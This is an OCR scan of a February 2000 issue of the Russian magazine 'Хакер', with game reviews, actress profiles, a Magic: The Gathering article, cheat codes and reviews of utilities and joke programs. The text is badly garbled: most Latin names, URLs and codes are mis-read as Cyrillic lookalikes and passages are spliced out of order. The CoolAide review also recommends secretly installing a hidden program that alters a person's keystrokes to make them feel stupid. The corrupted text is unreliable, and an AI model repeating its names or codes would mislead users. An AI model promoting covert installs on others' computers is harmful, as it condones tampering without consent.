жет фильма. Не пошло, идея умерла. 

Сядь, расслабься, смотри. Трескай орешки и 
пей пиво. Ты не хочешь в этом участвовать, 
просто скользишь расслабленным мозгом за 
изгибами и сложностями сценария. Там кле- 
во играют актеры, все натурально и красиво 
снято. Вот для чего снимаются фильмы. 
Компьютерные игры живут и процветают как 
способ развлечения, так как дают тебе воз- 
можность почувствовать себя на месте глав- 




ного героя. Самому побегать, пострелять, 
порешать задачки, изменить ход действия по 
своему желанию, побыть в чужой шкуре. По- 
напрягать пальцы и мозги. 

Люди смотрят кино не для того, чтобы нап- 
рягаться, и играют в игры не для того, чтобы 
быть сторонними наблюдателями - истина 
проста и очевидна. И все равно после столь- 
ких обломов Голливуд не бросает попыток и 
ничему не учится, продолжая мешать жанры. 
В течение ближайших и последующих лет у 



футов 9 дюймов. Мечтая стать танцовщицей, 
в 12 лет пошла в балетную школу. После 
колледжа играла в театре. На широкий 
экран пришла в 1987 году с фильмом 
“Ария”. Снималась на ТВ. Дебют в Голливу- 
де произошел в боевичке “Пассажир 57” 
(1992). Постоянно в фокусе внимания прес- 
сы, чему способствовала и ее работа мо- 
делью (демонстрировала косметику). В 1996 
году продюсировала “Экстренные меры”; в 
фильме снялся Хью Грант, с котором на тот 




тебя будет масса возможностей убедиться в 
правильности этих выводов. 

На вакантное место Лары Крофт в грядущем 
кинофильме народная молва сейчас прочит 
одну из трех актрис. Мы тут долго в редак- 
ции совещались, какая нам больше понра- 
вится в этой роли. ;) 

Родилась 25 сен- 
тября 1969 года в Уэлсе, Великобритания. 
Рост 5 футов 8 дюймов. Начала приобретать 
известность, в 1991 году приняв участие в 
популярном английском комедийно-драма- 
тическом телесериале “Тбе Оагііпд Висіз оі 
Мау”. Мировую популярность получила пос- 
ле кинофильма “Маска Зорро”, на съемки 
которого была рекомендована самым Стиве- 
ном Спилбергом. “Мне очень понравилось 
работать с Кэтрин”, - сказал Энтони Хоп- 
кинс, также снявшийся в “Маске Зорро”. - 
Она великолепна. Сожалею только, что ей не 
довелось петь в фильме. У нее прекрасный 
голос”. Ээээ... и не только голос, надо заме- 
тить. ;) 

Родилась 10 июня 1965 
года в Хэмпшире, Великобритания. Рост 5 



момент ее объединяла отнюдь не только 
творческая связь. ;) 

Настоящее имя - Деметрия Ги- 
нес. Родилась 11 ноября 1962 года в штате 
Нью Мексико, США. Рост 5 футов 5 дюймов. 
Ее отец покинул ее мать Викторию вскоре 
после рождения Деми. Отчим, Дэнни Гинес, 
постоянно менял место работы, нигде на- 
долго не задерживаясь. Незадолго до того, 
как Деми достигла совершеннолетия, он по- 
кончил жизнь самоубийством. В 16 лет Деми 
оставила школу, начав работать; в 18 лет 
вышла замуж за рок-музыканта Фредди Му- 
ра; их брак длился 4 года. С 1 9 лет Деми на- 
чала участвовать в ТВ-шоу. С заработанных 
денег устраивала вечеринки. Пристрасти- 
лась к кокаину, в дальнейшем смогла бро- 
сить. Продвижение к славе началось с филь- 
ма “Привидение” (1990). Прославилась не 
только ролями, но и умением шокировать 
публику (например, будучи беременной, 
снялась обнаженной на обложке журнала 
“Ѵапііу Раіг”). В настоящее время - самая вы- 
сокооплачиваемая актриса Голливуда. 
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Приговор 





Ну почему все авторы подводных симуляторов считают, что дно мирового океана заасфальтировано, и там никто не живет и ничего не 
растет! Пока не увижу красивой “подводы”, все остальное будет сакс. Тем более что ничего другого хорошего в этой игре тоже нет. 

Слабо 



Полуквест, полувиртуальная энциклопедия 

Целая серия всяких “Версалей” и “Египтов” от этой же конторы 

Сгуо Іпіегасііѵе 

Р166(233)/32(64) 

Ну если бы сюда еще и мультиплейер присобачили... 

Интерактивная энциклопедия с дохлыми зачатками адвенчуры. Ходишь по заранее проложенным маршрутам, смотришь на красивые домики.. 
Хоть бы с графикой не позорились... А то мало того что игровой процесс существует только для галочки, так еще и графика устаревшая. 

Слабо 

Симулятор Формулы 1 

Нет, она не похожа ни на один симулятор Формулы! 

Рзудпозіз 

Р166(266)/32(64)/(30 уск.) 

Обломись 

Нет, ну надо же сделать такое дерьмо! Аркадная (!!!) Формула 1 с неимоверно убогими графикой и интерфейсом. Все остальное (АІ, иг- 
рабельность и т.п.) отсутствует как класс. Глюков - море, куда ни плюнь, всюду одни недостатки. Редкостный отстой. 



Приговор 




Приговор 




Міззііе СоттапсІ (игра 80-х годов) 

АІагі/НазЬго Іпіегасііѵе 
Р166(266)/32(64)/(30 уск.) 

Сеть, И-нет 

Берем любую аркаду, где нужно сбивать безумное количество врагов на экране, переносим ее в 30, добавляем неплохую графику и сов- 
сем неплохую музыку и получаем Міззііе СоттапсІ образца 1999 года. Во всем остальном игра недалеко ушла от своего прародителя. 

Слабо 



Космический симулятор 
РгееВрасе 2, ѴѴС5 
Теат 17 

РІІ266(РІІІ450)/64( 1 28)/(30 уск.) 

Обломись 

Космический симулятор в лучших традициях жанра. Достойная (но не блестящая) графика, динамичные нестандартные миссии, нелинейные 
концовки. Если б не обидные недочеты (особенно невозможность сохраняться ни во время миссий, ни между ними), было бы: “рулез!”. 

Хорошо 

ВРС 

Ваібиг’з Саіе 
ВІаск Ізіе / Іпіегріау 
Р200(РІІ300)/32(64) 

Обломись 

Игра для тех, кто не наигрался в ВС. То же графическое исполнение, тот же игровой процесс, лишь незначительные улучшения, но как 
интересно, черт побери! Эх, жаль, что класс главного персонажа ограничили только файтером... 




Приговор 



Автосимулятор 
Соііп МсВае, Иеіѵѵогк О 
Мадпеііс Ріеісіз/Асіиаііге Ш. 

Р233(РІІІ500)/32(128)/(30 уск.) 

Сеть, сплит-скрин 

Лучший представитель среди игр своего класса. Прекрасная графика, великолепная физическая модель, отличный звук. Детализация та- 
кая, что видно, как водители крутят рули и переключают передачи... Море достоинств и минимум недостатков. 

Рулез! 

Воргейм 

Зіб Меіег’з СейузЬигд! 

Рігахіз 

Р233(Р11300)/32(64)/(30 уск.) 

Сеть, И-нет 

Сиквел к хитовому воргейму (вот уж редкое сочетание!) Сида Мейера СеІІузЬигд!. Опять гражданская война в США. Изменений мало, но 
игра остается невообразимо захватывающей и снова метится заграбастать титул “лучшего воргейма года”. Небезосновательно, кстати. 

Рулеззз! 

Автосимулятор 
ТОСА2 

Воппіег / Рідііаі ІІІизіопз 
Р166(Р233)/32(64)/(30 уск.) 

Сеть, И-нет 

Противоречивая игра. Слишком сложная для новичков, слишком аркадная для профессионалов. Хорошая графика, хотя и не безупреч- 
ная. Игровой процесс тоже с недочетами. Пит-стопы кого хочешь взбесят, да и настройки машины слишком примитивные. 

Средне 






004Р 



ХАКЕР > ФЕВРАЛЬ’Ѵ2К 



ЛЗУ5ТІСК / ЗАЛ СУДА 



79 



Александр ‘2роізо№’ Сидоровский 
2роі5о№@хакер.ро 




Приговор 



нет 

Ігісіоп Іпіегасііѵе 
Р90(Р166)/16(32)/(ЗО уск.) 

Вдвоем на одном экране 

Если НРАот ЕА невозможно побить по графике, его надо бить по другому месту. Нестандартный футбольный геймплей, сильный АІ, очень 
четкое и умное управление и контроль мяча. С другой стороны: графика и звук из рук вон, куча багов (понятие офсайд отсутствует напрочь). 

Средне 



Урожденная Т2эг: ТНе Вигсіеп о* Ше Сгоѵѵп 
Жанр 
Похожесть 
Мать/отец 
Требует 
Групповуха 
Описуха 



Приговор 



ВТ5 

ѴѴагсгаІІ II, Аде о* Етрігез 
Наетітоп* 

Р166(РІІ300)/32(32) 

Сеть, И -нет 

Если бы третий Варкрафт не планировался трехмерным, он наверняка был бы очень похож на Тгаг. Великолепная двухмерная графика, не- 
линейное развитие, три расы с уникальными юнитами - одним словом, прекрасная классическая реалтаймовая стратегия. 

Рулез! 






Урожденная 

Жанр 

Похожесть 

Мать/отец 

Требует 

Групповуха 

Описуха 



Приговор 



ІІгЬап СИаоз 



Зй асйоп 

ТотЬ Ваісіег, РідМіпд Еогсе 
Миску Еооі/Еісіоз Іпіегасііѵе 
Р233(Р11300)/32(64)/(30 уск.) 

Обломись 

Ходилка-бродилка-искалка-сгрелялка плюс мордобой. Моііоп саріиге обеспечивает плавные движения персонажей, графика на уровне - и 
отлично подходит к атмосфере игры, миссии разнообразны, нововведения имеются. Весьма и весьма добротная игра. 

Хорошо 





Приговор 



РРЗ 
Ведиіет 
ѴаІиЗой 

Р166(РІІІ500)/32(64)/(30 уск.) 

Обломись 

Игра примечательна тем, что это, похоже, ХУДШИЙ РРЗ за всю историю существования жанра. Графика была бы отстойной уже 3 года на- 
зад, уровни вызывают припадки клаустрофобии, монстры сами прыгают на меч... Короче, всем покупать. ЭТО надо видеть. 





Подготовлено по материалам российского онлайнового компьютерно-игрового журнала “Авзоі_і_іте Бамез”, ѵѵѵѵѵѵ.ао.ро. 
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СіПЕРТЕПЫНАЯ ПАПУТРА 



ЦБрагм- 2 1 и Саша Яценко (БАМЕ^ХАКЕР.ри) 



каждого, кто приходит в Мэд- 
жик, однажды возникает зако- 
номерный вопрос: каким цве- 
том играть лучше всего. И если 
ты думаешь, что однозначный 
ответ на него существует, то глубоко заблуж- 
даешься. У каждого цвета свои особенности, 
как положительные, так и отрицательные. Се- 
годня именно о них и пойдет речь. 



Эта стихия является символом различных хит- 
ростей, манипуляций и изменений. 

Основная фишка водной магии не в убойных 
заклинаниях или жирных монстрах, а в установ- 
лении собственного контроля над ситуацией. 
Это самый хитрый и изворотливый цвет - нап- 
ример, только здесь существуют различные 
соипІегзреІГы и их вариации, позволяющие от- 
менить практически любое заклинание. Синие 



Это цвет жизни, цвет земли. Основная его осо- 
бенность - жирные, откормленные на казенных 
харчах монстры. Учитывая то, что подобные бе- 
гемоты обычно требуют довольно много маны, в 
зеленой магии есть немало приемчиков по ее 
добыванию (например, маленькие эльфы, кото- 
рые за поворот добавляют тебе лишнюю еди- 
ничку в тапа рооі). В лесной магии есть закли- 
нания, мгновенно убивающие вражеские земли, 
существа, артефакты и заклинания (епсііапі- 
тепі), однако ставка делается отнюдь не на них. 
В основном, задача земного мага сводится к 
выкладыванию бегемотов и навешиванию на 
них дополнительной боевой мощи. 

К недостаткам можно отнести слабую сопро- 
тивляемость вражеским заклинаниям, а также 
почти полную зависимость от ударной мощи 
своих существ. 



Она олицетворяет стихию огня и является цветом 
хаоса и разрушения. Здесь все заточено под мо- 
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существа не отличаются особой силой, но 
имеют массу полезных свойств: от ТІуіпд и 
ипЫоскаЫе до различных исподвыподвертов 
(как, например, у моего любимого МогрМіпд). 
Обычно синий маг не торопится выиграть. Его 
стратегия в том, чтобы уничтожить или видоиз- 
менить угрозу противника, а потом неторопли- 
во и доступно показать ему, где именно он не 
прав и куда должен идти. 

Недостатком синего цвета является то, что он 
почти не способен напрямую убивать вражес- 
кие существа и артефакты - обычно для этого 
приходится использовать различные специфи- 
ческие приемчики (например, вернуть в руку 
или захватить над ними контроль). 



ментальное убийство вражеских существ, земель 
и артефактов, ну и самого противника, разумеет- 
ся. Причем, убийство осуществляется как с по- 
мощью различных іпзШ’ов, так и непосред- 
ственно существами. Вообще, горные монстры - 
штука довольно сильная, хотя иногда и с сущес- 
твенными недостатками (например, невозмож- 
ностью блокировать). Красный маг обычно иг- 
рает довольно быстро, делая ставку на заклина- 
ния моментального действия и натиск существ. 
Основным недостатком цвета является полная 
беспомощность перед лицом вражеской магии. 



Это волшебство света и просвещения, соче- 



тающее в себе огромное количество защитных 
и восстанавливающих элементов с конкретны- 
ми убойными заклинаниями. Именно к равнин- 
ной магии относятся самые разрушительные 
заклинания - Гнев Богов, уничтожающий всех 
существ, и Армагеддон, разрушающий земли. 
Белые существа чаще всего не обладают 
мощью и сокрушительной силой, однако имеют 
весьма полезные защитные и целительные 
особенности. Маг равнин может обороняться, 
положившись на свои защитные способности, 
а может вполне конкретно атаковать, используя 
разрушительные свойства своих воинов. И ник- 
то ему ничего не скажет, потому как белый - 
значит, добрый. 

К слабым сторонам белой магии относится 
почти полное отсутствие эффективных сильных 
монстров, а также недостаток манипулирую- 
щих заклинаний. 



Болотная магия является символом смерти, 
ужаса и ночного мрака. Только здесь сущес- 
твует богатый потенциал для работы с кладби- 
щем и с принесением существ в жертву, толь- 
ко здесь есть туева хуча убойных заклинаний, 
направленных на уничтожение вражеских мон- 
стриков.. Черный маг имеет возможность ис- 
пользовать своих воинов по несколько раз, воз- 
рождая их к жизни и снова бросая в бой. Конеч- 
но, за многие способности существ приходится 
расплачиваться собственной кровью, поэтому 
игра болотного мага подчас осторожна, сложна 
и непонятна средним умам вплоть до решаю- 
щего момента вражеской гибели. Набор чер- 
ных существ весьма разнообразен, причем 
многие из них обладают неприятной для врага 
особенностью выбивать из руки карты или на- 
носить при входе/выходе контрольный удар. 

К отрицательным сторонам черного относится 
его почти полное бессилие против заклятий и 
артефактов. 

Итак, как ты смог убедиться, идеального цвета 
нет. Поэтому люди начали экспериментировать 
- совмещать различные цвета и смотреть, что 
получится. Ну и доэкспериментировались - на 
данный момент существует несколько десятков 
типов различных колод, и их количество неуклон- 
но растет. И пока оно не превысило допустимую 
норму, мы просто обязаны рассказать тебе хотя 
бы о самых основных типах. Так что следи за 
анонсами - со следующего месяца мы присту- 
пим к изучению принципов построения турнир- 
ной колоды! 
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КйОЕМАЗТЕК 

СРАІ\ІѴС)ВІ_АЗТ@ХАКЕР.Ри 



“Хакер” - единственный журнал, публикующий 
полностью проверенные коды. Если ты не тормоз и 
если у тебя нормальная версия игры, 




то приведенные коды будут работать. 



Наііу СМатріопеЫр 
2000 



В качестве имени четвертого иг- 
рока введи один из кодов (в под- 
тверждение услышишь гудок): 
ѵѵогісі сіазз - чемпионат А8. 
іигЬо сМаІІепде - машины из 
А8 доступны в режимах Зіпдіе 
Васе и Тіте ТгіаІ. 
тах роѵѵег - секретная машина 
Сіігоеп ѴѴВС. 

ХЫоѵі те а Ьопе - еще одна - 
Сіігоеп Захо ѴѴВС. 
діѵе те Лте - дополнительная 
минута времени в сервисе (надо 
нажать Т на экра- 
не с сервисом), 
агсасіе ипіітіі- 
есі - энергия в 
аркадном режи- 
ме. 

агсасіе асііоп - 

новогодние сюр- 
призы в этом же 
режиме. 

Далее идут коды 
для получения 
бонусных машин: 

дгоир Ь ; 
тоозегаіі ; Іат- 
ЬаадИіпі ; грисі 
саг ; ргесіоиз Лііпдз ; Лягу 
сіісе ; пЛ ИоіЬаск ; ігее Мид 
дег. 



Потом заходи в ЬоасІ бате, 
жми одновременно Н + Е + I 
+ Р, потом отпускай. Закрывай 
инвентарь - готово, пропустили 
уровень! 

Для получения бесконечных 
примочек проделай то же са- 
мое, но заходи в зтаІІ тесііраск 
и жми О + [} + N + 5. Выходи 
из инвентаря. 

После включения всех примочек 
можно получить еще и беско- 
нечное оружие. Заходи в Іагде 
тесіірак, жми ѴѴ + Е + А + Р 
+ О + N + 5. 



голица 

ЬеМпсІѵіеѵѵ 0 - обычный вид 
ореп [тарпате] - перейти 
на уровень тарпате 
зиттоп [Нет] - вызвать к 
бытию вещь (список прила- 
гается) 

асІсІЬоІз [Ы] - добавить N 
ботов 

зиттоп ипгеаІі.[ііет- 
пате] - вызвать вещь ііет- 
пате 

зиттоп ипгеаІі.[орропепі- 
пате] - вызвать противника 
орропепіпате 




Вполне возможно, что ты, яв- 
ляясь обладателем ТТііеТ ОоІсІ, 
уже облазил этот скромный по- 
дарок вдоль и поперек, отыскав 
все секреты и выжав все соки. 
Тогда мой совет начинающим. 
Дело в том, что в игре имеется 
некая скрытая, секретная мис- 
сия. Чтобы получить к ней дос- 
туп, достаточно лишь в файле 
изег.сід добавить строки: 
ріау 

зіагііпдтіззіоп 1 6 

А уже в меню выбрать Зіаіі пеѵѵ 
тіззіоп. По словам уже повидав- 
ших этот секрет, играть довольно 
интересно. 



ТотЬ НаШег [4): ТНе 
[а§[ Кеѵеіаііоп 



Ну че, отхакаем Лариску? Отлич- 
но. Тогда поставь ее... Нет, нет! 
Лицом к северу. Загляни в ин- 
вентарь - стрелка компаса дол- 
жна стать прозрачной. 



Поставить Лариску лицом к се- 
веру проще всего так: найти 
блок, одна из кромок которого 
направлена с запада на восток, 
и забраться на него или прыг- 
нуть к нему. 



І_)пгеа1 Тоигпатепі 



Читы подходят, что логично, 
только для синглплейерного 
ботматча (понял, че сказал? 
странно). Консоль вызывается, 
как принято в приличном об- 
ществе, кнопкой ~. В ней вво- 
дятся такие команды: 
іатЛіеопе - включить режим 
читав 

досі - неуязвимость, в натуре 
Іоасіесі - все оружие 
аііатто - патрончики 
дітозі - прохождение стен 
Лу - полеты 

шік - обратно, на грешную 
землю 

кіІІаІІ [сіазз] - все монстры 
класса сіазз целуют тебя в зад- 
ницу 

ріауегзопіу - остановить или 
запустить снова время 

ЬеИіпсІѵіеѵѵ 1 - вид от третье- 



Список вещей для вызывания: 

ѴѴагНеасНаипсІіег; 

ЕпТогсег; ОоиЫеЕпТогсег; 
Міпідип2; РиІзеСип; 
ЗГюскВіЛе; ЗпірегРіТІе; 
ІІТВіоВіЛе; ІІТ ЕідМЬаІІ; 
ІІТРІаскСаппоп; СИаіпзаѵѵ; 
Оізрегзіопрізіоі; ЗЛпдег; 
Аиіотад; АзтсІ; СІір; 
ВіЛегоипсІ; РІакзИеІІатто; 
ОеТаиІІатто; СГіаіпзаѵѵ; 
ВіЛе; Вагодаск; 

ОезЬіогіЛе; Міпідип; 
РІаксаппоп. 

Список противников: 
ѵѵагіогсі; Шап; зіопе Шап; зцикі; 
зіііГі; зкаад; зкаадѵѵаггіог; зкааг- 
Ізсоиі; зкаадіогсі; зкаафегзегк- 
ег; зкаадаззаззіп; ісезкаад; 
зкаагДгоорег; зкаадзпірег; 
зкаапоІТісег; зкаапіпТапІгу; 
зкааддиппег; циееп; рирае; 
паіі; паііргіезі; тегсепагу; тег- 
сепагуеіііе; тапіа; діапітапіа; 
саѵетапіа; кгаІІ; ІеззегкгаІІ; 
кгаііеіііе; дазЬад; діапІдазЬад; 
ТІу; сІеѵіІТізГі; соѵѵ; ЬаЬусоѵѵ; іеп- 
Іасіе; Ьгиіе; ІеззегЬгиіе; ЬеГіе- 
тоііі; Ьоіз; зкаадрІауегЬоІ; 
ИитапЬоІ; таІеЬоі; таіеі- 



ѵѵоЬоІ; таІеіІігееЬоі; таіеопебоі; 
ІетаІеЬоі; іетаІеѣА/оЬоі; іетаіе- 
опебоі; паІігаЬіІ; ГіогзеЛу; ЫоЬеІІ; 
Ьііеііізіі; ЬігсІІ; рагепіЫоЬ; Иогзе- 
ТІузѵѵагт; сіеасі Ьосіузѵѵагт ; Ьііег- 
ТізГізсГіооі. 

Скин БОССА! Редактируй 
изег.іпі, добавляй строки: 

[Во*раск.І_асІс1ег] 

НазВеа1еп0ате=Тше 

Нажми Р9, появится окно для 
ввода команд. Включи антижуч- 
ковый режим простой командой 

вАысиы- 

ЗМОТСАМЕЗ. Заодно 
станешь неуязвимым. 
Потом в это же окошко 
вводи: 

ВОО - ящик взрыв- 
чатки. 

СВІЫКІ.ЕЗ - Тигп 
Сгіпкіез оп/оТС 
йАВСІ - управление 
офицером О’агсі 
ВОРЕВ - управление 
Ворег’ом 

РАРЕ # - Дальность 
тумана - в качестве # 
любой номер 
ѴѴОВЮ - выбор му- 
зыки 

АМВІЕЫТ В О В - цвет осве- 
щения (вместо В, С, В - соответ- 
ствующие палитре числа) 

ѴѴІЫ - выигрыш 

ЮЗЕ - наоборот 

ССТѴ - все излучают зеленый 

цвет 

ТЕШ # - перенестись на клю- 
чевую точку игры номер # 

ТЕЬЗ - сделать пометку на 
карте 

ТЕІ.В - вернуться к пометке 
В этом же режиме можно просто 
нажать одну из следующих кла- 
виш и получить: 

0 - пути автомобилей 
ѴѴ - таке гаіп гірріез 

Е - создать случайное авто 
В - бочка взрывчатки 

1 - показ пешеходных участков 
[ - Іоддіе епету ѵіеѵѵ 

] - Іоддіе епету ѵіеѵѵ 
Р - епету ѵіеѵѵ оп/оТС 
; - замедленный показ 
‘ - пауза 

СТВІ. - показать статистику 
Р1 1 - тучки вкл/выкл 
РЗ - выход из игры 
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ХАКЕР > ФЕВРАЛЬ’Ѵ2К 



М^.АгН (М^.А5Н@ХАКЕР.Ри) 



УМ1 



I Таікег 



МуВип ѵ 1.0 



ѴѴіпсІоѵѵз 9х/І\ІТ4 
5І2е: 1 280 кб 
йето 

Шр://тѵѵѵ. ѵи. сот 



ѴѴіпсІоѵѵз Эх 
ЗІ 2 е: 495 кб 
Ргееѵѵаге 

ЬЫр:// шш. скіаЬ. ги/~ех_ЬогосІа 



Текстовый чат - это пережиток прошлого! Разве это дело - долбить по клавишам полчаса, чтобы 
обменяться с друзьями парой-тройкой корявых предложений? Мы же не дятлы, в конце-то кон- 
цов! Давай-ка лучше попробуем общаться через И-нет голосом. Вот, например, ѴігІиаІ ІІпіѵегзе 
Согрогаііоп предлагает сейчас всем желающим заценить их патентованную технологию ѴігІиаІ 
ТаІкегТМ. Фишка этой технологии в том, что разговаривать между собой могут сразу несколько 
человек. Разговор ведется в виртуальных комнатах, причем технологическая демка позволяет те- 
бе завести свою собственную комнату и даже повесить пароль на ее вход. Что меня радует в 
ѴігІиаІ Таікег, так это то, что: во-первых, войти (выйти) в любую комнату (а соответственно, и под- 
ключиться к идущей в этой комнате беседе) можно когда угодно, а во-вторых, микширование ау- 
дио потоков от всех собеседников происходит на сервере, так что к тебе направляется уже ре- 
зультат этого микширования (т.е. требования к твоему каналу связи не высоки - модема вполне 
хватает). Проблемы с качеством связи могут возникнуть, когда сервак ѴігІиаІ Таікег будет перег- 
ружен. Но пока этого не случилось: на момент написания статьи на сервере тусовались только 
два американца, да и те сразу ушли, едва я запел гимн Совете сого Союза. 




Одни клик по иконке “Интернет”, расположенной на моем Рабочем 
Столе, вызывает в моей системе следующий калейдоскоп событий: 
перво-наперво освобождается 24 метра оперативки, затем запускает- 
ся диалер, который начинает долбить провайдера; в это время грузит- 
ся ТНе Ваі и, после 1 0 секундной паузы, броузер Опера; и только после 
того, как винч перестанет трещать (еще минута) в трее поселяется 
иконка Се1НідП1-а. Круто? Аты думал! Отвечает за столь впечатляющую 
автоматизацию ручного труда прога МуПип. Советую тебе ее не прозе- 
вать - прога действительно классная. Кстати, в приведенном выше при- 
мере задействованы далеко не все ее возможности. В частности, я не 
использовал соштапсі Ііпе параметры при запуске прог, не назначал 
прогам приоритеты, не задавал, как должно открываться окно, к приме- 
ру, ТНе Ваі: должно ли оно распахиваться во всю ширь экрана или же 
наоборот - стыдливо прятаться на Панели Задач. Но я верю, что ты най- 
дешь применение и этим симпатичным фун- 
кциям и загрузишь эту прогу работой по самое 
“не хочу”! 



в 1 




ѴѴіпсІоѵѵз 9х 
ЗІ 2 е: 3879 кб 
ЗИагеѵѵаге 
ЫХр://шт. Ігеесіот. г 



ѴѴіпсІоѵѵз 9х/І\ІТ4/2к 
ЗІ 2 е: 1 250 кб 
ЗЬагеѵѵаге 

Шр://\л/\л/\л/.20пеІаЬз. сот 



Компания 2его ; засветила свой проект Ргеесіот Ыеіѵѵогк (РЫ) еще на даяр 

е в прошлом годугПравда, тогда на “Сеть Свободы” мало кто обратил внимание, всех больше ин- 
тересовала нова; версия Васк Огіііс-а. Оказалось, что зря. Сейчас, когда Ргеесіот ѵ 1 .0 лежит в 
свободном досту іе, каждый может убедиться, насколько это круто. Во-первых, каждый пользо- 
ватель РИ работа ;т под псевдонимом - “путз-ом” (5 путз-ов в зарегистрированной версии, 3 - 
в триальной). Во- зторых, при подключении к И-нету ты первым делом связываешься с ближай- 
шим сервером РІ I, и в дальнейшем все твои ір-пакеты идут через него, а так как трафик между 
тобой и этим сер заком (и далее по РИ) серьезно шифруется, то лог-файлы твоего провайдера 
можно смело спу жать в туалет - они никому ничего про тебя не скажут. Большой Брат со своим 
СОРМом обламыі іается однозначно. Работать очень просто: запустил Ргеесіот, и все! Своей бро- 
дилкои, ікс-клиентом или почтовой программой ты пользуешься как обычно, только вот вся ин- 
фа, которая “уходит” с твоего компа, тщательно фильтруется, а конфиденциальные данные - уби- 
з “путз-е” про себя написал). В этом можно легко убедиться. 



раются (бСТаеюа-теттько то, что ты в 

й хотя бы послать самому себе письмо, а затем просмотри служебную информацию в по- 
лученном сообщении. У этой проги есть только два минуса: просит денег через 30 дней и сильно 
замедляет веб-серфинг (РЫ - образование молодое, а народу там уже много пасется ;) 



Если ты боишься страшного слова РігеѵѵаІІ, но в то же время 
не хочешь, чтобы какой-нибудь “товарищ” подселил тебе 
трояна и поимел твой комп, пока ты бродишь по Сети, то 
знай, что специально для тебя создана жутко попсовая, но в 
то же время прикольная прога 2опеАІагт. Едва какое-нибудь 
приложение начинает ломиться в И-нет, как 2опеАІагт туг же 
спрашивает тебя, как ему поступить: дать этому приложению 
по мозгам или дать ему добро на доступ к Сети. Обычно 
знающие люди разрешают “сетевую активность” таким про- 
гам, как ТНе Ваі, ІЕ, и ІСО, и запрещают всяким КегпеІІб или 
5узТгау32. Последних они, кстати, потом тщательно ищут и 
уничтожают... за проявленную наглость. Что понравилось: 
если приложение работает с И-нет, то на панели 2опеАІагт 
появляется его иконка. И эта иконка мигает, когда приложе- 
ние передает-принимает данные. Простенько, но со вкусом. 
Ато порой сидишь и думаешь: или это я такой нетерпеливый , 
или это броузер, на фиг, завис? 






ІПСІ . « 

= ѵ 1.0 



иг 

*, запускают, за,і 



ѴѴіпсІоѵѵз 9х/І\ІТ4 
ЗІ 2 е: 9 кб 
Ргееѵѵаге 

Шр://\л/ѵѵ\л/. тиІЬітапіа. сот/кіпкосіеѵ 



Тяжела жизнь американских служащих. Тяжела и не- 
казиста. Даже для того чтобы просто выйти покурить, 
они сначала должны придумать себе оправдание. Не- 
которые, например, выкручиваются так: скачивают 



Ль 



прогу Ыар апсі СоТСее, запускают, задают временной 
интервал и текст, вроде “Идет копирование файлов”, 
и смело сваливают со своего рабочего места. А в это 
время Ыар апсі СоНее честно демонстрирует всем 
желающим, что идет “процесс копирования”, стара- 
тельно прикрывая задницу халявщика! Прога прими- 
тивная, но 2.0 Иеі оценил ее в пять (!!!) звездочек! Не 
иначе, как за актуальность. У нас эту прогу исполь- 
зуют значительно веселее: запускают на компе глав- 
ного бухгалтера, в заголовке окна пишут “Удаление 
квартального отчета” и быстренько прячутся в тень... 
Говорят, что в погожий день дикий вопль главбуха 
слышен далеко за пределами родной конторы... 







ХАКЕР > ФЕВРАЛЬЬ’Ѵ2К 
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Поиск т< 
в файлах 

ѴѴіпсІоѵѵз 9х/І\ІТ4 
Зіге: 289 кб 
Ргееѵѵаге 

ЬЬЬрУ/уѵмѵуѵ. а ѵЬ. пеѵѵтаіі. ги 

Просто хорошая прога. Я использую ее для поиска нужной мне информации в той файловой 
помойке, которую я порой, в моменты временного помрачения рассудка, называю своей 
“Электронной библиотекой”. “Поиск текста в файлах” снабжен автоматическим определе- 
нием кодировки (ОДЫ, ОЕМ, К0І8 и 150), а это - большой плюс, поскольку моя “библиотека” 
состоит в основном из выдранных из разных мест веб-страничек и текстовых файлов. Вто- 
рая, “эксклюзивная”, особенность данной проги в том, что поиск ведется даже в архивах 
(2ІР и АРЫ). “Поиск текста в файлах” может похвастаться удобным интерфейсом: содержа- 
ние найденных документов можно мгновенно увидеть в окне предварительного просмотра с 
заботливо выделенными ключевыми словами. Сообщения ІІзеИеІ отображаются в этом ок- 
не вполне корректно, а документы с расширениями НТМІ. или РТР предварительно конвер- 
тируются в простой текст. Ориентировочная скорость поиска - 100 файлов в секунду. 







АІГ€ РГ€5і1€П€Г V М 

ѴѴіпсІоѵѵз 9х/І\ІТ4 1 I 

Зіге: 4654 кб 
Ргееѵѵаге 

ШрЩ/тт. гтаопііпе. пеУІіірріезУЫіерІазйсРасІогу 

Хорош работать, трудоголик! Пора отдохнуть и расслабиться. Кстати, ты знаешь, что 
расслабляться можно не выключая свой комп? Нет, Квака тут не причем! Хотя звуки 
выстрелов и стоны умирающих врагов - это тоже прекрасно, но я все же больше люб- 
лю шелест листьев и пение птиц. Или нет! Лучше всего - шепот прибоя и тихий треск 
костра. Короче, когда как. А создает мне подходящую атмосферу именно эта прога - 
Аіге РгезИепег. Да, я в курсе, что есть освежитель воздуха с точно таким же названием. 
Надеюсь, это тебя не смущает, потому что прога - реальная! Она формирует вокруг те- 
бя твой любимый звуковой фон, который никогда 
не надоедает, потому что постоянно меняется 
(используются различные комбинации звуков, 
записанных с высоким качеством). Дополнитель- 
ные звуковые темы можно свободно раздобыть 
на домашней страничке программы. И еще, па- 
раллельно с моделированием звуковой среды 
Аіге РгезИепег может проигрывать твой любимый 
компакт-диск! Поверь мне, регги звучит совер- 
шенно по-другому, если, кроме музыки, до тебя 
доносится еще и гул океанских волн... 



СооІАісІе ѵ 1.0 

ѴѴіпсІоѵѵз 9х/І\ІТ4 
ЗІ 2 е: 223 кб 
Ргееѵѵаге 

ЬЬЬрУ/уѵуѵѵѵ. Лазіі. пеЬ/УгіезепЬ/СооІАісІ&/с 
ооІЬотеМт 
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Самые злобные “шуточные” программы это те, чьи проделки даже 
самый продвинутый пользователь списывает сначала на “глюки в- 
системе”. Так вот, прога СооІАісІе как раз из этой братии. Она выпол- 
няется незаметно для пользователя и старательно заменяет каждый набранный им 
символ на следующий по алфавиту (таблице символов). Т.е. юзер старательно 
жмет на “I.”, а на экране появляется “М”. Юзер тщательно целится, смотрит на кноп- 
ку, на палец, нажимает - результат остается прежним. Глюк? Глюк! Кто виноват? Билл Гейтс! Особенно приятно под- 
сунуть СооІАісІе “нашему” человеку. Пока он набирает текст русским шрифтом - все нормально, а как пытается ввес- 
ти число или пару слов по-английски... Хе-хе! Кстати, если ты введешь “*”, то СооІАісІе прекратит свои шуточки до сле- 
дующего ввода этого символа. Так что если тебя попросят посмотреть, что там с компом - ты первым делом печатай 
звездочку, а дальше набирай все что угодно - юзер будет таращиться на экран и чувствовать себя полным идиотом. 



РІорру 

Мс 55 

ѵ 1.00 

